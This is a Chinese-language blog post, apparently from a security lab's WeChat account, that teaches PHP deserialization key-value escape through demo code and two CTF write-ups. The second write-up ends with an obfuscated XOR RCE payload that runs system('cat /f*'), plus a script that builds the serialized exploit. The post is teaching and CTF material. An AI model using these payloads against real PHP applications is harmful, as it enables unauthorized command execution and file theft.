PHP反序列化键值逃逸

admin 2023年7月30日23:44:50评论5 views字数 10416阅读34分43秒阅读模式

写在前面

大家好,我是Ga1axy,最近刚好在复习php反序列化,顺便就记录下复习过程,当然php反序列化键值逃逸网上很多文章,有不足的地方请多包涵,顺便再附带两个题目给大家

键值逃逸分为两种情况

  1. 逃逸后字符增多

  2. 逃逸后字符减少


开发者先将对象反序列化,然后将对象中的字符进行过滤,最后再反序列化,这个时候就可能产生键值逃逸漏洞

反序列化有几个特点:

  1. php反序列化时,底层是以;作为字段分隔,}作为结尾(字符串除外嗷),并且是根据长度来判断内容,同时反序列化过程严格按照序列化规则才能成功反序列化

  2. 序列化长度不对应会报错

  3. 可以反序列化类中不存在的元素,不存在的话就会添加进去

举个栗子

<?php
class user{
public $username;
public $password;
public $isAdmin;

public function __construct($usr,$passwd){
$this->username = $usr;
$this->password = $passwd;
$this->isAdmin = 0;
}
}
echo serialize(new user("admin",123));

正常反序列化输出:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";i:123;s:7:"isAdmin";i:0;}

假如username键值长度admin变成4

O:4:"user":3:{s:8:"username";s:4:"admin";s:8:"password";i:123;s:7:"isAdmin";i:0;}

反序列化时就会失败,因为它通过s:4这个长度来判断内容,也就是admi,后面的n和"就是多出来的内容,如果变成s:5 那么内容变成admin",这个单引号就被吃掉了,整个子串会缩进去一个字符

那我们重新构造一个不存在的属性

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";i:123;s:7:"HexaGon";i:0;}

源代码是不存在HexaGon这个属性的,但是反序列化后

PHP反序列化键值逃逸

也就说明,反序列化是根据我们提供的子串决定

现在我们来讨论增多减少这两种情况

字符增多

<?php
class user{
public $username;
public $password;
public $isAdmin;

public function __construct($usr,$passwd){
$this->username = $usr;
$this->password = $passwd;
$this->isAdmin = 0;
}
}

还是这个代码,我们写一个过滤函数

function filter($s){
return str_replace("admin","hacker",$s);
}

源码变成

<?php
class user{
public $username;
public $password;
public $isAdmin;

public function __construct($usr,$passwd){
$this->username = $usr;
$this->password = $passwd;
$this->isAdmin = 0;
}
}

function filter($s){
return str_replace("admin","hacker",$s);
}
$a = new user("admin","123456");
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri."n";
echo $a_seri_filter;

输出结果

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:7:"isAdmin";i:0;}
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:7:"isAdmin";i:0;}

对比一下s:5:"admin"和s:5:"hacker",字符多了一个,但是s还是5,所以反序列化时会失败,在我们新建对象时,username的值可控,现在我们要将不可控的变量isAdmin修改为1,就要通过逃逸来实现。

接下来我们对比下现有子串和目标子串

";s:8:"password";s:6:"123456";s:7:"isAdmin";i:0;}//现有
";s:8:"password";s:6:"123456";s:7:"isAdmin";i:1;}//目标isAdmin=1

接下来计算目标子串的长度

PHP反序列化键值逃逸

目标子串就是我们需要逃逸的子串,长度是49就要逃逸49个字符。每出现一次admin就会变成hacker,就会多出来一个字符,那么就需要49个admin

因此我们在可控变量处,重复49admin,然后加上我们逃逸后的目标子串,可控变量修改如下:

PHP反序列化键值逃逸

adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:7:"isAdmin";i:1;}

完整代码如下:

<?php
class user{
public $username;
public $password;
public $isAdmin;

public function __construct($usr,$passwd){
$this->username = $usr;
$this->password = $passwd;
$this->isAdmin = 0;
}
}

function filter($s){
return str_replace("admin","hacker",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:7:"isAdmin";i:1;}',"123456");
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
#echo $a_seri."n";
echo $a_seri_filter;
O:4:"user":3:{s:8:"username";s:294:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:7:"isAdmin";i:1;}";s:8:"password";s:6:"123456";s:7:"isAdmin";i:0;}

hacker的长度

PHP反序列化键值逃逸

刚好对应上,然后拿到这个序列化的结果,进行反序列化

PHP反序列化键值逃逸

可以看到,这个时候isAdmin的值变成了1,逃逸成功,而";s:8:"password";s:6:"123456";s:7:"isAdmin";i:0;}会被丢弃

最后我们总结下这种题的步骤:

  1. 先修改不可控变量为我们需要的值,拿到目标字串

  2. 计算需要多少个逃逸字符,将目标字串拼接在可控点

字符减少

源代码和上面一样,将hacker修改为hack

<?php
class user{
public $username;
public $password;
public $isAdmin;

public function __construct($usr,$passwd){
$this->username = $usr;
$this->password = $passwd;
$this->isAdmin = 0;
}
}

function filter($s){
return str_replace("admin","hack",$s);
}

完整代码

<?php
class user{
public $username;
public $password;
public $isAdmin;

public function __construct($usr,$passwd){
$this->username = $usr;
$this->password = $passwd;
$this->isAdmin = 0;
}
}

function filter($s){
return str_replace("admin","hack",$s);
}
$a = new user('admin','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

echo $a_seri_filter;

输出

O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:7:"isAdmin";i:0;}

同样比较一下现有子串目标子串

";s:8:"password";s:6:"123456";s:7:"isAdmin";i:0;}//现有
";s:8:"password";s:6:"123456";s:7:"isAdmin";i:1;}//目标isAdmin=1

因为过滤的时候,将5个字符删减为了4个,所以和上面字符变多的情况相反,随着加入的admin的数量增多,现有子串后面会缩进来。

拿到目标子串之后,为了闭合,方便计算长度,每次拿到就先在子串最前面添加一个任意字符,并计算长度

A";s:8:"password";s:6:"123456";s:7:"isAdmin";i:1;}//长度50

PHP反序列化键值逃逸

先随便写几个admin进去,然后将这个字符直接拼在不可控变量处

PHP反序列化键值逃逸

O:4:"user":3:{s:8:"username";s:20:"hackhackhackhack";s:8:"password";s:6:"123456";s:7:"isAdmin";s:50:"A";s:8:"password";s:6:"123456";s:7:"isAdmin";i:1;}";}

这时s是20,但是hack长度是16,也即是会缩进去4个字符,我们现在需要将";s:8:"password";s:6:"123456";s:7:"isAdmin";s:50:"A缩进去才能让后面的逃逸,一个admin变成hack减少1个字符,先计算需要逃逸的子串长度:51

PHP反序列化键值逃逸

需要51个admin,代码如下:

<?php
class user{
public $username;
public $password;
public $isAdmin;

public function __construct($usr,$passwd){
$this->username = $usr;
$this->password = $passwd;
$this->isAdmin = 'A";s:8:"password";s:6:"123456";s:7:"isAdmin";i:1;}';
}
}

function filter($s){
return str_replace("admin","hack",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

echo $a_seri_filter;

输出

O:4:"user":3:{s:8:"username";s:255:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:7:"isAdmin";s:50:"A";s:8:"password";s:6:"123456";s:7:"isAdmin";i:1;}";}

现在来看hack的长度是204,但是s是255,所以后面的";s:8:"password";s:6:"123456";s:7:"isAdmin";s:50:"A就缩进去了,被当成了username。后面的代码就成功逃逸了,现在我们来反序列化看看结果

PHP反序列化键值逃逸

完整代码

<?php
class user{
public $username;
public $password;
public $isAdmin;

public function __construct($usr,$passwd){
$this->username = $usr;
$this->password = $passwd;
$this->isAdmin = 'A";s:8:"password";s:6:"123456";s:7:"isAdmin";i:1;}';
}
}

function filter($s){
return str_replace("admin","hack",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
$bb=$a_seri_filter;
var_dump(unserialize($bb));

最后,我们再总结下字符减少这种题的步骤

  1. 查看现有字串,修改成目标字串

  2. 将目标字串添加一个任意字符在字串开头,拼接在不可控处

  3. 计算此时需要拼接的字串长度

  4. 随意添加几个会被替换的字符,计算逃逸字符

例题

例题1

接下来我放一个简单的例子,大家可以先自己做练练手,然后再看下面的WP

 <?php
/*
PolarD&N CTF
*/
highlight_file(__FILE__);
function filter($string){
return preg_replace('/x/', 'yy', $string);
}

$username = $_POST['username'];

$password = "aaaaa";
$user = array($username, $password);

$r = filter(serialize($user));
if(unserialize($r)[1] == "123456"){
echo file_get_contents('flag.php');
}

username可控,传入的变量会被反序列化,序列化之前会进行filter函数过滤,这里是将一个x替换成两个y

思路就是进行键值逃逸,让我们的恶意代码逃逸

首先我们找到不可控变量的位置,观察,不可控对的变量要为123456才会读取flag,那么就构造我们需要的目标字串,也就是令password=123456

<?php

function filter($string){
return preg_replace('/x/', 'yy', $string);
}

$username = 'xxxx';

$password = "123456";
$user = array($username, $password);
var_dump(serialize($user));
$r = filter(serialize($user));
var_dump($r);
if(unserialize($r)[1] == "123456"){
echo file_get_contents('flag.php');
}
//string(38) "a:2:{i:0;s:4:"xxxx";i:1;s:6:"123456";}"
//string(42) "a:2:{i:0;s:4:"yyyyyyyy";i:1;s:6:"123456";}"

对比下目标字串和被过滤的字串

s:4:"xxxx"

s:4:"yyyyyyyy"

这里不匹配了多出来四个位置

我们取出目标字串";i:1;s:6:"123456";}

计算长度为20,也就是需要20个x,才能逃逸我们的代码

将";i:1;s:6:"123456";}拼接到可控点,并且有20个x

 <?php

function filter($string){
return preg_replace('/x/', 'yy', $string);
}

$username = 'xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}';

$password = "123456";
$user = array($username, $password);
var_dump(serialize($user));
$r = filter(serialize($user));
var_dump($r);
if(unserialize($r)[1] == "123456"){
echo file_get_contents('flag.php');
}
string(75) "a:2:{i:0;s:40:"xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}";i:1;s:6:"123456";}"
string(95) "a:2:{i:0;s:40:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:6:"123456";}";i:1;s:6:"123456";}"

到这里这题就解出来了。

例题2

这是最近打的-2023巅峰极客,考点:简直逃逸,无数字字母RCE

<?php
include_once "my.php";
include_once "function.php";
include_once "login.html";
session_start();

if (isset($_POST['root']) && isset($_POST['pwd'])) {
$root = $_POST['root'];
$pwd = $_POST['pwd'];
$login = new push_it($root, $pwd);
$_SESSION['login'] = b(serialize($login));
die('<script>location.href=`./login.php`;</script>');
}
?>
<?php

class pull_it {
private $x;

function __construct($xx) {
$this->x = $xx;
}

function __destruct() {
if ($this->x) {
$preg_match = 'return preg_match("/[A-Za-z0-9]+/i", $this->x);';
if (eval($preg_match)) {
echo $preg_match;
exit("save_waf");
}
@eval($this->x);
}
}
}
class push_it {
private $root;
private $pwd;

function __construct($root, $pwd) {
$this->root = $root;
$this->pwd = $pwd;
}

function __destruct() {
unset($this->root);
unset($this->pwd);
}

function __toString() {
if (isset($this->root) && isset($this->pwd)) {
echo "<h1>Hello, $this->root</h1>";
}
else {
echo "<h1>out!</h1>";
}
}
}
?>
<?php
session_start();
include_once "my.php";
include_once "function.php";

if (!isset($_SESSION['login'])) {
echo '<script>alert(`Login First!`);location.href=`./index.php`;</script>';
}
$login = @unserialize(a($_SESSION['login']));
echo $login;
?>
<?php
function b($data) {
return str_replace('aaaa', 'bbbbbb', $data);
}

function a($data) {
return str_replace('bbbbbb', 'aaaa', $data);
}
?>

网上已经有wp了,这里就不说啦,给个payload在下面。关于无数字字母RCE大家可以看看P神的文章,写的很详细。大家也可以加入我们实验室的交流群,会不定期分享一些自己写的免杀工具,exp等

PHP反序列化键值逃逸

# base64:system(cat /f*)
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%00"^"%60%60%7c%20%2f%60%2a");
KCIlMDglMDIlMDglMDglMDUlMGQiXiIlN2IlN2IlN2IlN2MlNjAlNjAiKSgiJTAzJTAxJTA4JTAwJTAwJTA2JTAwIl4iJTYwJTYwJTdjJTIwJTJmJTYwJTJhIik7
<?php 
class pull_it {
private $x;
function __construct($xx) {
$this->x = $xx;
}
}
$l = new pull_it(urldecode(base64_decode("KCIlMDglMDIlMDglMDglMDUlMGQiXiIlN2IlN2IlN2IlN2MlNjAlNjAiKSgiJTAzJTAxJTA4JTAwJTAwJTA2JTAwIl4iJTYwJTYwJTdjJTIwJTJmJTYwJTJhIik7")));
echo urlencode(serialize($l));
//O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A41%3A%22%28%22%08%02%08%08%05%0D%22%5E%22%7B%7B%7B%7C%60%60%22%29%28%22%03%01%08%00%00%06%00%22%5E%22%60%60%7C+%2F%60%2A%22%29%3B%22%3B%7D


完结撒花

在打比赛的时候是不可能遇到这么简单的题的,我也只是个菜鸡,有错误的地方欢迎各位大佬指正。还请多多支持我们实验室HexaGon,谢谢大家~

站岗小狗为您服务

PHP反序列化键值逃逸


原文始发于微信公众号(HexaGoners):PHP反序列化键值逃逸

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月30日23:44:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP反序列化键值逃逸http://cn-sec.com/archives/1919105.html

发表评论

匿名网友 填写信息